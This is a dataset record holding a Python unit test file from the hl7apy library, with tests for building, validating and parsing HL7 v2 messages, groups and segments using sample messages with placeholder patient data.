hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
68fde3ad8bca8a935316b931dbeed03bfbbc6152 | 91,006 | py | Python | tests/test_core.py | netMedi/hl7apy | 50fc4f1e3a6edbbb4575a4e709ed804bcb62f83b | [
"MIT"
] | null | null | null | tests/test_core.py | netMedi/hl7apy | 50fc4f1e3a6edbbb4575a4e709ed804bcb62f83b | [
"MIT"
] | null | null | null | tests/test_core.py | netMedi/hl7apy | 50fc4f1e3a6edbbb4575a4e709ed804bcb62f83b | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
#
# Copyright (c) 2012-2018, CRS4
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
# FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
# COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
# IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
from __future__ import absolute_import
import os
import unittest
import hl7apy
from hl7apy import DEFAULT_ENCODING_CHARS
from hl7apy.core import Message, Segment, Field, Group, Component, SubComponent, ElementProxy
from hl7apy.exceptions import ChildNotValid, ChildNotFound, OperationNotAllowed, InvalidName, \
MaxChildLimitReached, UnsupportedVersion, InvalidEncodingChars, \
MaxLengthReached, MessageProfileNotFound, LegacyMessageProfile
from hl7apy.v2_5 import ST, SI
from hl7apy.validation import VALIDATION_LEVEL
from hl7apy.parser import parse_message, parse_segment
def _get_invalid_encoding_chars():
return {'COMPONENT': '$',
'SUBCOMPONENT': '@',
'REPETITION': 'r',
'ESCAPE': '@'}
def _get_test_msg():
return 'MSH|^~\&|SENDING APP|SENDING FAC|REC APP|REC FAC|20110708162817||OML^O33^OML_O33|978226056138290600|D|2.5|||||USA||EN\r' \
'PID|||1010110909194822^^^GATEWAY_IL&1.3.6.1.4.1.21367.2011.2.5.17&ISO^PK||PIPPO^PLUTO^^^^^L||19790515|M|||VIA DI TOPOLINO^CAGLIARI^CAGLIARI^^09100^100^H^^092009^^~^^^^^^L^^^|||||||PPPPPP79E15B354I^^^CF|||||CAGLIARI|||100|||||||||||\r' \
'PV1||O|||||||||||||||||1107080001^^^LIS\r' \
'SPM|1|100187400201^||SPECIMEN^Blood|||||||PSN^Human Patient||||||20110708162817||20110708162817|||||||1|CONTAINER^CONTAINER DESC\r' \
'ORC|NW|83428|83428|18740|SC||||20110708162817||||||||^\r' \
'TQ1|||||||||R\r' \
'OBR||83428|83428|TPO^ANTI THYROPEROXIDASE ANTIBODIES(TPO)^^TPO||||||||||||ND^UNKNOWN^UNKNOWN\r'
def _get_test_msg_2():
return 'MSH|^~\\&|SENDING APP|SENDING FAC|REC APP|REC FAC|20110708162817||OML^O33|978226056138290600|D|2.5|||||USA||EN\r' \
'PID|1||566-554-3423^^^GHH^MR||SURNAME^NAME^A|||M|||1111 SOMEWHERE STREET^^SOMEWHERE^^^USA||555-555-2004~444-333-222|||M\r' \
'PV1||O|||||||||||||||||1107080001^^^LIS\r' \
'SPM|1|100187400201||SPECIMEN^Blood|||||||PSN^Human Patient||||||20110708162817||20110708162817|||||||1|CONTAINER^CONTAINER DESC\r' \
'ORC|NW|83428|83428|18740|SC||||20110708162817||||||||\r' \
'TQ1|||||||||R\r' \
'OBR||83428|83428|TPO^ANTI THYROPEROXIDASE ANTIBODIES(TPO)^^TPO||||||||||||ND^UNKNOWN^UNKNOWN\r' \
'SPM|2|100187400101||SPECIMEN^Blood|||||||PSN^Human Patient||||||20110708162817||20110708162817|||||||1|CONTAINER^CONTAINER DESC\r' \
'ORC|NW|83425|83425|18740|SC||||20110708162817||||||||\rTQ1|||||||||R\r' \
'OBR||83425|83425|CA^S-CALCIUM^^CA||||||||||||ND^Sconosciuto^Sconosciuto\rORC|NW|83426|83426|18740|SC||||20110708162817||||||||\r' \
'TQ1|||||||||R\rOBR||83426|83426|HDL^HDL CHOLESTEROL^^HDL||||||||||||ND^UNKNOWN^UNKNOWN\r' \
'ORC|NW|83427|83427|18740|SC||||20110708162817||||||||\r' \
'TQ1|||||||||R\rOBR||83427|83427|LDL^LDL CHOLESTEROL^^LDL||||||||||||ND^UNKNOWN^UNKNOWN'
def _get_fail_test_msg():
# This message will fail validation because of the OML_O33 message structure
return 'MSH|^~\\&|SENDING APP|SENDING FAC|REC APP|REC FAC|20110708162817||OML^O33^OML_O33|978226056138290600|D|2.5|||||USA||EN\r' \
'PID|1||566-554-3423^^^GHH^MR||SURNAME^NAME^A|||M|||1111 SOMEWHERE STREET^^SOMEWHERE^^^USA||555-555-2004~444-333-222|||M\r' \
'PV1||O|||||||||||||||||1107080001^^^LIS\r' \
'SPM|1|100187400201||SPECIMEN^Blood|||||||PSN^Human Patient||||||20110708162817||20110708162817|||||||1|CONTAINER^CONTAINER DESC\r' \
'ORC|NW|83428|83428|18740|SC||||20110708162817||||||||\r' \
'TQ1|||||||||R\r' \
'OBR||83428|83428|TPO^ANTI THYROPEROXIDASE ANTIBODIES(TPO)^^TPO||||||||||||ND^UNKNOWN^UNKNOWN\r' \
'SPM|2|100187400101||SPECIMEN^Blood|||||||PSN^Human Patient||||||20110708162817||20110708162817|||||||1|CONTAINER^CONTAINER DESC\r' \
'ORC|NW|83425|83425|18740|SC||||20110708162817||||||||\rTQ1|||||||||R\r' \
'OBR||83425|83425|CA^S-CALCIUM^^CA||||||||||||ND^Sconosciuto^Sconosciuto\rORC|NW|83426|83426|18740|SC||||20110708162817||||||||\r' \
'TQ1|||||||||R\rOBR||83426|83426|HDL^HDL CHOLESTEROL^^HDL||||||||||||ND^UNKNOWN^UNKNOWN\r' \
'ORC|NW|83427|83427|18740|SC||||20110708162817||||||||\r' \
'TQ1|||||||||R\rOBR||83427|83427|LDL^LDL CHOLESTEROL^^LDL||||||||||||ND^UNKNOWN^UNKNOWN'
def _get_rsp_k21_mp_msg():
return 'MSH|^~\&|SENDING APP|SENDING FAC|RECEIVING APP|RECEIVING FAC|20140410170011||RSP^K22^RSP_K21|11111111|P|2.5\r' \
'MSA|AA|20140410170015\r' \
'QAK|222222222|OK\r' \
'QPD|IHE PDQ Query|222222222|@PID.3.1.1^3333333|||||^^^IHEFACILITY&1.3.6.1.4.1.21367.3000.1.6&ISO|\r' \
'PID|1||10101109091948^^^GATEWAY&1.3.6.1.4.1.21367.2011.2.5.17&ISO||JOHN^SMITH^^^^^A||19690113|M|||VIA DELLE VIE^^CAGLIARI^^^ITA^H^^092009||||||||||||CAGLIARI|||\r'
class TestMessage(unittest.TestCase):
def setUp(self):
base_path = os.path.abspath(os.path.dirname(__file__))
mp_path = os.path.join(base_path, 'profiles/iti_21')
self.rsp_k21_mp = hl7apy.load_message_profile(mp_path)
legacy_mp = os.path.join(base_path, 'profiles/old_pharm_h4')
self.legacy_mp = hl7apy.load_message_profile(legacy_mp)
# Message test cases
def test_create_empty_message(self):
e = Message()
self.assertEqual(e.classname, 'Message')
self.assertRaises(OperationNotAllowed, Message, validation_level=VALIDATION_LEVEL.STRICT)
def test_create_unknown_message(self):
self.assertRaises(InvalidName, Message, 'AAA_A01')
self.assertRaises(InvalidName, Message, 'AAA_A01', version='2.2')
self.assertRaises(InvalidName, Message, 'AAA_A01', version='2.3')
self.assertRaises(InvalidName, Message, 'AAA_A01', version='2.3.1')
self.assertRaises(InvalidName, Message, 'AAA_A01', version='2.4')
self.assertRaises(InvalidName, Message, 'AAA_A01', version='2.5')
self.assertRaises(InvalidName, Message, 'AAA_A01', version='2.5.1')
self.assertRaises(InvalidName, Message, 'AAA_A01', version='2.6')
self.assertRaises(InvalidName, Message, 'AAA_A01', version='2.7')
self.assertRaises(InvalidName, Message, 'AAA_A01', validation_level=VALIDATION_LEVEL.STRICT)
def test_create_unsupported_version_message(self):
self.assertRaises(UnsupportedVersion, Message, version='2.0')
def test_create_invalid_encoding_chars_message(self):
self.assertRaises(InvalidEncodingChars, Message, encoding_chars=_get_invalid_encoding_chars())
self.assertRaises(InvalidEncodingChars, Message, 'ADT_A01',
encoding_chars=_get_invalid_encoding_chars(),
validation_level=VALIDATION_LEVEL.STRICT)
def test_create_insensitive(self):
e = Message('oml_o35')
self.assertEqual(e.classname, 'Message')
self.assertTrue(e.is_named('OML_O35'))
def test_add_group_to_message(self):
e = Message('OML_O35')
self.assertRaises(ChildNotFound, e.add_group, 'UNKNOWN_GROUP')
g = e.add_group('OML_O35_PATIENT')
self.assertTrue(g.is_named('OML_O35_PATIENT'))
self.assertEqual(g.classname, 'Group')
self.assertIn(g, e.children)
m = Message('RSP_K21', reference=self.rsp_k21_mp)
g = m.add_group('rsp_k21_query_response')
self.assertTrue(g.is_named('RSP_K21_QUERY_RESPONSE'))
self.assertIn(g, m.children)
def test_add_child_with_different_validation_level(self):
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.STRICT)
g = Group('RSP_K21_QUERY_RESPONSE', validation_level=VALIDATION_LEVEL.TOLERANT)
self.assertRaises(OperationNotAllowed, m.add, g)
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.TOLERANT)
g = Group('RSP_K21_QUERY_RESPONSE', validation_level=VALIDATION_LEVEL.STRICT)
self.assertRaises(OperationNotAllowed, m.add, g)
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.STRICT)
s = Segment('QPD', validation_level=VALIDATION_LEVEL.TOLERANT)
self.assertRaises(OperationNotAllowed, m.add, s)
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.TOLERANT)
s = Segment('QPD', validation_level=VALIDATION_LEVEL.STRICT)
self.assertRaises(OperationNotAllowed, m.add, s)
def test_add_child_with_different_version(self):
m = Message('RSP_K21', version='2.4')
g = Group('RSP_K21_QUERY_RESPONSE', version='2.5')
self.assertRaises(OperationNotAllowed, m.add, g)
m = Message('RSP_K21', version='2.4')
s = Segment('QPD', version='2.5')
self.assertRaises(OperationNotAllowed, m.add, s)
def test_add_empty_children_to_message(self):
a = Message('OML_O33', validation_level=VALIDATION_LEVEL.STRICT)
self.assertRaises(ChildNotValid, a.add, Group())
b = Message('OML_O33')
b.add(Group())
c = Message('RSP_K21', self.rsp_k21_mp)
c.add(Group())
def test_add_not_allowed_segment_to_known_message(self):
a = Message('OML_O33', validation_level=VALIDATION_LEVEL.STRICT)
self.assertRaises(ChildNotValid, a.add, Segment('MSA'))
b = Message('OML_O33')
b.add(Segment('MSA'))
a = Message('RSP_K21', validation_level=VALIDATION_LEVEL.STRICT, reference=self.rsp_k21_mp)
self.assertRaises(ChildNotValid, a.add, Segment('SPM'))
self.assertRaises(ChildNotValid, a.add_segment, 'SPM')
b = Message('RSP_K21', reference=self.rsp_k21_mp)
b.add(Segment('SPM'))
b.add_group('SPM')
def test_create_z_message(self):
Message('ZDT_ZDT')
Message('ZA1_ZB2')
Message('za1_zb2')
self.assertRaises(InvalidName, Message, 'za1azb2')
self.assertRaises(InvalidName, Message, 'z##_azb2')
self.assertRaises(InvalidName, Message, 'zab_zaba')
self.assertRaises(InvalidName, Message, 'zaba_zab')
self.assertRaises(InvalidName, Message, 'OML_ZAB')
self.assertRaises(InvalidName, Message, 'zab_oml')
Message('ZDT_ZDT', validation_level=VALIDATION_LEVEL.STRICT)
Message('ZA1_ZB2', validation_level=VALIDATION_LEVEL.STRICT)
Message('za1_zb2', validation_level=VALIDATION_LEVEL.STRICT)
self.assertRaises(InvalidName, Message, 'za1azb2', validation_level=VALIDATION_LEVEL.STRICT)
self.assertRaises(InvalidName, Message, 'z##_azb2', validation_level=VALIDATION_LEVEL.STRICT)
self.assertRaises(InvalidName, Message, 'zab_zaba', validation_level=VALIDATION_LEVEL.STRICT)
self.assertRaises(InvalidName, Message, 'zaba_zab', validation_level=VALIDATION_LEVEL.STRICT)
self.assertRaises(InvalidName, Message, 'OML_ZAB', validation_level=VALIDATION_LEVEL.STRICT)
self.assertRaises(InvalidName, Message, 'zab_oml', validation_level=VALIDATION_LEVEL.STRICT)
def test_add_z_segment(self):
a = Message('OML_O33', validation_level=VALIDATION_LEVEL.STRICT)
a.add(Segment('ZIN', validation_level=VALIDATION_LEVEL.STRICT))
a.add_segment('zap')
a.zbe = 'ZBE||ab|ab|'
b = Message('OML_O33', validation_level=VALIDATION_LEVEL.TOLERANT)
b.add(Segment('ZIN', validation_level=VALIDATION_LEVEL.TOLERANT))
b.add_segment('zap')
b.zbe = 'ZBE||ab|ab|'
a = Message('RSP_K21', validation_level=VALIDATION_LEVEL.STRICT, reference=self.rsp_k21_mp)
a.add(Segment('ZIN', validation_level=VALIDATION_LEVEL.STRICT))
a.add_segment('zap')
a.zbe = 'ZBE||ab|ab|'
a = Message('RSP_K21', validation_level=VALIDATION_LEVEL.TOLERANT, reference=self.rsp_k21_mp)
a.add(Segment('ZIN', validation_level=VALIDATION_LEVEL.TOLERANT))
a.add_segment('zap')
a.zbe = 'ZBE||ab|ab|'
def test_add_to_z_message(self):
m = Message('ZDT_ZDT')
m.add(Segment('PID'))
m.add_segment('ZIN')
m.zap = 'ZAP||21||'
m.add_group('OML_O33_PATIENT')
m = Message('ZDT_ZDT', validation_level=VALIDATION_LEVEL.STRICT)
m.add(Segment('PID', validation_level=VALIDATION_LEVEL.STRICT))
m.add_segment('ZIN')
m.zap = 'ZAP||21||'
m.add_group('OML_O33_PATIENT')
def test_add_known_segment_to_empty_message(self):
a = Message('OML_O33')
a.add(Segment('MSA'))
def test_add_known_group_to_empty_message(self):
a = Message('OML_O33')
a.add(Group('OML_O33_PATIENT'))
def test_assign_wrong_segment_to_known_position(self):
a = Message('OML_O33', validation_level=VALIDATION_LEVEL.STRICT)
b = Message('OML_O33')
with self.assertRaises(ChildNotValid):
a.msh = Segment('SPM')
with self.assertRaises(ChildNotValid):
a.pid = 'EVN||20080115153000||||20080114003000'
with self.assertRaises(InvalidName):
a.zin = 'PAP||abc||'
with self.assertRaises(InvalidName):
a.msh = 'PAP||abc||'
with self.assertRaises(ChildNotValid):
b.msh = Segment('SPM')
with self.assertRaises(ChildNotValid):
b.pid = 'EVN||20080115153000||||20080114003000'
with self.assertRaises(InvalidName):
b.zin = 'PAP||abc||'
with self.assertRaises(InvalidName):
b.pid = 'PAP||abc||'
def test_add_segment_to_message_mix(self):
a = Message('OML_O33', validation_level=VALIDATION_LEVEL.TOLERANT)
msh = Segment('MSH', validation_level=VALIDATION_LEVEL.TOLERANT)
pid = Segment('PID', validation_level=VALIDATION_LEVEL.TOLERANT)
g = Group('OML_O33_PATIENT')
g.add(pid)
a.add(msh)
a.add(g)
def test_assign_value(self):
msg = _get_test_msg()
a = Message('OML_O33', validation_level=VALIDATION_LEVEL.TOLERANT)
parsed_a = parse_message(msg, validation_level=VALIDATION_LEVEL.TOLERANT)
a.value = msg
self.assertEqual(a.to_er7(), parsed_a.to_er7())
b = Message('OML_O33', validation_level=VALIDATION_LEVEL.STRICT)
b.value = msg
parsed_b = parse_message(msg, validation_level=VALIDATION_LEVEL.STRICT)
self.assertEqual(b.to_er7(), parsed_b.to_er7())
self.assertEqual(list(b.children.indexes.keys()), list(parsed_b.children.indexes.keys()))
c = Message('ADT_A01', validation_level=VALIDATION_LEVEL.TOLERANT)
with self.assertRaises(OperationNotAllowed):
c.value = msg
msg = msg.replace('^', 'x')
with self.assertRaises(OperationNotAllowed):
a.value = msg
c = Message('OML_O33', version='2.6')
with self.assertRaises(OperationNotAllowed):
c.value = msg
msg = _get_rsp_k21_mp_msg()
a = Message('RSP_K21', validation_level=VALIDATION_LEVEL.TOLERANT, reference=self.rsp_k21_mp)
parsed_a = parse_message(msg, message_profile=self.rsp_k21_mp,
validation_level=VALIDATION_LEVEL.TOLERANT)
a.value = msg
self.assertEqual(a.to_er7(), parsed_a.to_er7())
msg = _get_rsp_k21_mp_msg()
a = Message('RSP_K21', validation_level=VALIDATION_LEVEL.STRICT, reference=self.rsp_k21_mp)
parsed_a = parse_message(msg, message_profile=self.rsp_k21_mp,
validation_level=VALIDATION_LEVEL.STRICT)
a.value = msg
self.assertEqual(a.to_er7(), parsed_a.to_er7())
def test_assign_value_unknown_message(self):
msg = _get_test_msg_2()
a = Message()
parsed_a = parse_message(msg, validation_level=VALIDATION_LEVEL.TOLERANT)
a.value = msg
self.assertEqual(a.name, 'OML_O33')
self.assertEqual(a.to_er7(), parsed_a.to_er7())
def test_message_profile(self):
m = Message('RSP_K21', reference=self.rsp_k21_mp)
# The original qpd_3 is varies
self.assertEqual(m.qpd.qpd_3.datatype, 'QIP')
self.assertFalse(m.qpd.allow_infinite_children)
def test_message_profile_not_found(self):
self.assertRaises(MessageProfileNotFound, Message, 'ADT_A01', reference=self.rsp_k21_mp)
# def test_message_ordered_children(self):
# m = Message('OML_O33')
# m.add(Group('OML_O33_PATIENT'))
# ordered_children = m.children.get_ordered_children()
# self.assertEqual(ordered_children[0][0].name, 'MSH' )
# self.assertIsNone(ordered_children[1])
# self.assertEqual(ordered_children[3][0].name, 'OML_O33_PATIENT')
# self.assertIsNone(ordered_children[2])
# self.assertIsNone(ordered_children[4])
# def test_message_get_children(self):
# m = Message('OML_O33')
# children = m.children.get_children()
# self.assertEqual(len(children), 1)
# m.pid = 'PID|||||bianchi^mario|||'
# children = m.children.get_children()
# self.assertEqual(len(children), 2)
def test_bug_13(self):
m = Message("RSP_K21")
g = m.rsp_k21_query_response
self.assertEqual(id(m.rsp_k21_query_response), id(g)) # test that the ElementProxy is the same
# tests the creation of traversal_indexes item
pid1 = m.rsp_k21_query_response.pid
self.assertIn("RSP_K21_QUERY_RESPONSE", m.children.traversal_indexes)
pid2 = m.rsp_k21_query_response.pid
pid1.value = 'PID|a|b|'
# tests that assigning a child to one occurrence affect also the others
self.assertEqual(pid1.children, pid2.children)
self.assertEqual(pid1.children, m.rsp_k21_query_response.pid.children)
self.assertNotIn("RSP_K21_QUERY_RESPONSE", m.children.traversal_indexes)
sub = m.rsp_k21_query_response.pid.pid_3.cx_10.cwe_1
def test_create_v27_message(self):
m = Message('RSP_K21', version='2.7')
self.assertEqual(m.encoding_chars['TRUNCATION'], '#')
self.assertEqual(m.msh.msh_2.to_er7(), '^~\\&#')
def test_create_v27_message_no_truncation(self):
m = Message('RSP_K21', encoding_chars=DEFAULT_ENCODING_CHARS, version='2.7')
self.assertNotIn('TRUNCATION', m.encoding_chars)
self.assertEqual(m.msh.msh_2.to_er7(), '^~\\&')
def test_legacy_message_profile(self):
self.assertRaises(LegacyMessageProfile, Message, 'RAS_O17', reference=self.legacy_mp)
class TestGroup(unittest.TestCase):
# Group test cases
def setUp(self):
self.oml_o33_specimen = 'SPM|1|100187400201||SPECIMEN^Blood|||||||PSN^Human Patient||||||20110708162817||20110708162817|||||||1|CONTAINER^CONTAINER DESC\r' \
'ORC|NW|83428|83428|18740|SC||||20110708162817\r' \
'TQ1|||||||||R\r' \
'OBR||83428|83428|TPO^ANTI THYROPEROXIDASE ANTIBODIES(TPO)^^TPO||||||||||||ND^UNKNOWN^UNKNOWN'
self.rsp_k21_query_response = 'PID|1||10101109091948^^^GATEWAY&1.3.6.1.4.1.21367.2011.2.5.17&ISO||JOHN^SMITH^^^^^A||19690113|M|||VIA DELLE VIE^^CAGLIARI^^^ITA^H^^092009||||||||||||CAGLIARI'
base_path = os.path.abspath(os.path.dirname(__file__))
path = os.path.join(base_path, 'profiles/iti_21')
self.rsp_k21_mp = hl7apy.load_message_profile(path)
def test_create_unknown_group(self):
self.assertRaises(InvalidName, Group, 'UNKNOWN')
self.assertRaises(InvalidName, Group, 'UNKNOWN', validation_level=VALIDATION_LEVEL.STRICT)
def test_create_unamed_group_strict(self):
self.assertRaises(OperationNotAllowed, Group, validation_level=VALIDATION_LEVEL.STRICT)
def test_add_child_with_different_validation_level(self):
g = Group('RSP_K21_QUERY_RESPONSE', validation_level=VALIDATION_LEVEL.STRICT)
s = Segment('PID', validation_level=VALIDATION_LEVEL.TOLERANT)
self.assertRaises(OperationNotAllowed, g.add, s)
g = Group('RSP_K21_QUERY_RESPONSE', validation_level=VALIDATION_LEVEL.TOLERANT)
s = Segment('PID', validation_level=VALIDATION_LEVEL.STRICT)
self.assertRaises(OperationNotAllowed, g.add, s)
def test_add_child_with_different_version(self):
g = Group('RSP_K21_QUERY_RESPONSE', version='2.5')
s = Segment('QPD', version='2.4')
self.assertRaises(OperationNotAllowed, g.add, s)
def test_add_unexpected_child_to_group(self):
g = Group()
m = Message('OML_O33')
f = Field()
c = Component(datatype='ST')
sub = SubComponent(datatype='ST')
self.assertRaises(ChildNotValid, g.add, m)
self.assertRaises(ChildNotValid, g.add, f)
self.assertRaises(ChildNotValid, g.add, c)
self.assertRaises(ChildNotValid, g.add, sub)
def test_delete_group(self):
m = Message('OML_O33', validation_level=VALIDATION_LEVEL.TOLERANT)
g = Group('OML_O33_PATIENT', validation_level=VALIDATION_LEVEL.TOLERANT)
m.add(g)
self.assertTrue(g in m.children)
del m.oml_o33_patient
self.assertFalse(g in m.children)
m = Message('OML_O33', validation_level=VALIDATION_LEVEL.STRICT)
g = Group('OML_O33_PATIENT', validation_level=VALIDATION_LEVEL.STRICT)
m.add(g)
self.assertTrue(g in m.children)
del m.oml_o33_patient
self.assertFalse(g in m.children)
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.TOLERANT, reference=self.rsp_k21_mp)
g = m.add_group('RSP_K21_QUERY_RESPONSE')
self.assertTrue(g in m.children)
del m.rsp_k21_query_response
self.assertFalse(g in m.children)
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.STRICT, reference=self.rsp_k21_mp)
g = m.add_group('RSP_K21_QUERY_RESPONSE')
self.assertTrue(g in m.children)
del m.rsp_k21_query_response
self.assertFalse(g in m.children)
def test_create_supported_version_group(self):
Group(version='2.5')
def test_create_unsupported_version_group(self):
self.assertRaises(UnsupportedVersion, Group, version='2.0')
def test_add_z_segment(self):
a = Group('OML_O33_PATIENT', validation_level=VALIDATION_LEVEL.STRICT)
a.add(Segment('ZIN', validation_level=VALIDATION_LEVEL.STRICT))
a.add_segment('zap')
a.zbe = 'ZBE||ab|ab|'
b = Group('OML_O33_PATIENT', validation_level=VALIDATION_LEVEL.TOLERANT)
b.add(Segment('ZIN', validation_level=VALIDATION_LEVEL.TOLERANT))
b.add_segment('zap')
b.zbe = 'ZBE||ab|ab|'
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.STRICT, reference=self.rsp_k21_mp)
g = m.add_group('RSP_K21_QUERY_RESPONSE')
g.add(Segment('ZIN', validation_level=VALIDATION_LEVEL.STRICT))
g.add_segment('zap')
g.zbe = 'ZBE||ab|ab|'
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.TOLERANT, reference=self.rsp_k21_mp)
g = m.add_group('RSP_K21_QUERY_RESPONSE')
g.add(Segment('ZIN'))
g.add_segment('zap')
g.zbe = 'ZBE||ab|ab|'
def test_assign_value(self):
g = Group('OML_O33_SPECIMEN')
g.value = self.oml_o33_specimen
self.assertEqual(g.to_er7(), self.oml_o33_specimen)
g = Group('OML_O33_SPECIMEN', validation_level=VALIDATION_LEVEL.STRICT)
g.value = self.oml_o33_specimen
self.assertEqual(g.to_er7(), self.oml_o33_specimen)
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.STRICT, reference=self.rsp_k21_mp)
g = m.add_group('RSP_K21_QUERY_RESPONSE')
g.value = self.rsp_k21_query_response
self.assertEqual(g.to_er7(), self.rsp_k21_query_response)
m = Message('RSP_K21', validation_level=VALIDATION_LEVEL.TOLERANT, reference=self.rsp_k21_mp)
g = m.add_group('RSP_K21_QUERY_RESPONSE')
g.value = self.rsp_k21_query_response
self.assertEqual(g.to_er7(), self.rsp_k21_query_response)
def test_assign_value_traversal(self):
m1 = Message('OML_O33')
m2 = Message('OML_O33')
m1.oml_o33_specimen.value = self.oml_o33_specimen
m2.oml_o33_specimen = self.oml_o33_specimen
self.assertEqual(m1.to_er7(), m2.to_er7())
m1 = Message('RSP_K21', reference=self.rsp_k21_mp)
m2 = Message('RSP_K21', reference=self.rsp_k21_mp)
m1.rsp_k21_query_response.value = self.rsp_k21_query_response
m2.rsp_k21_query_response = self.rsp_k21_query_response
self.assertEqual(m1.to_er7(), m2.to_er7())
self.assertEqual(m1.to_er7(), m2.to_er7())
def test_bug_13(self):
g = Group('RSP_K21_QUERY_RESPONSE')
pid = g.pid
self.assertEqual(id(g.pid), id(pid))
